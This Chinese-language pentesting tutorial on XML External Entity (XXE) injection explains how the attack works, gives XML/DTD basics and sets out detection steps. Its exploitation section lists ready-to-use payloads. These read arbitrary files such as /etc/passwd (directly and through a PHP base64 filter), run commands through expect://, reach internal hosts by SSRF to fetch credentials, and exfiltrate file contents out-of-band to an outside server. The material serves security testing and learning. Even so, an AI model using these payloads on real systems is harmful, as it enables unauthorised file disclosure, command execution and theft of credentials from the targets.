XXE 注入
漏洞介绍
XXE(XML External Entity Injection)是一类针对 XML 解析器的注入漏洞。当应用解析 XML 且启用了外部实体(external entity)解析或外部 DTD 时,攻击者可以在 XML 输入中定义并引用外部实体,从而让解析器去读取本地文件、发起网络请求,或触发拒绝服务等行为。
基本原理
XML 支持在 DTD 中定义实体(变量的值不再只是常规的 int、str、bool 等类型,它也可能是一个文件、命令的输出、URL 内容),例如:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
而如果解析器会解析外部实体,那么 &xxe; 便会被替换为 /etc/passwd 的内容并返回给应用,从而导致敏感信息泄露。外部实体也可以指向 http://attacker.com/abc,用于数据外泄或触发 OOB(out-of-band)通信。
====题外话====
为了能更清楚的了解 XML 的用法,以下会对其常见的一些结构进行对比介绍:
<!-- 标准的 XML 示例,无 DTD 声明、及实体类型 -->
<?xml version="1.0" encoding="UTF-8"?>
<site>
<name>RUNOOB</name>
<desc>编程学习网站</desc>
</site>
<!-- 内带 DTD 声明的 XML 示例,无实体类型 -->
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
</note>
<!-- 外带 DTD 声明的 XML 示例,无实体类型 -->
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
</note>
<!-- 文件 note.dtd 内容如下 -->
<!ELEMENT note (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!-- 内带 DTD 声明及实体变量的 XML 示例 -->
<?xml version="1.0"?>
<!DOCTYPE note [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<note>
<to>Tove</to>
<from>&xxe;</from>
</note>
注意:(1)DTD 声明中的 note 只是一个占位字符(可以是任意值),在 XML 中无任何关联作用。(2)XML 只有一个正式版本即 1.0,另一个扩展版本是 1.1 但并非官方正式发布版本,因此并不被普遍使用。(3)XML 标签及标签属性均是自定义的,因此并不像 HTML 那样需要使用规定的用法去使用。这种特性也进一步确认了它主要就是为了存储与传输结构化数据,以用于在客户端与服务器之间进行数据交换(如 API 响应)。
检测方法
(1)首先需要确认客户端与服务器之间的数据传输是否使用了 XML 格式,(2)确认响应数据是否回显,回显在了哪个标签上。(3)开始使用以下简单的 XML 实体样本进行测试。(4)确认返回的数据是否发生了变化,如果随实体的值在发生变化,那么表明此处可能存在 XXE 漏洞。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY test "9"> ]>
<stockCheck>
<productId>&test;</productId>
<storeId>test</storeId>
</stockCheck>
注意:实际在传输 XML 数据的过程中,我们尽量在不改动原有标签结构的基础上对其进行微调,不要将上面的实体样本直接就复制粘贴使用。
利用方法
方法 1:注入任意文件读取载荷,载荷如下:
<?xml version="1.0" ?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
<!-- 若后端是基于 PHP 开发,则还可使用 PHP 过滤器实现对任意文件的读取,以上载荷虽也能够读取大多数文本,但文件读取不到的情况也时有发生。 -->
<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
方法 2:注入 RCE 载荷,载荷如下:
<?xml version="1.0" ?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
注意:此方法的利用需要满足2点条件:PHP 后端 + PHP 启用 expect 功能,否则不能够利用成功。
方法 3:注入 SSRF 载荷,载荷如下:
<!-- 在 XML 内容中使用实体变量 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.56.1:8080/security-credentials/admin">]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
<!-- 在声明中使用实体变量 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://192.168.56.1:8080/security-credentials/admin1"> %xxe;]>
<creds>
<user>myuser</user>
<pass>mypass</pass>
</creds>
<!-- 数据带外提取,但此法通常不容易成功。 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/hostname"><!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://192.168.56.1:8080/x=%file;'>"> %eval;%exfiltrate;]>
<creds>
<user>myuser</user>
<pass>mypass</pass>
</creds>
杂七杂八
- 参考文章:HackTricks
- 自动化工具:xxexploiter【注:实测效果一般,还不如直接在 BurpSuite 中调试。】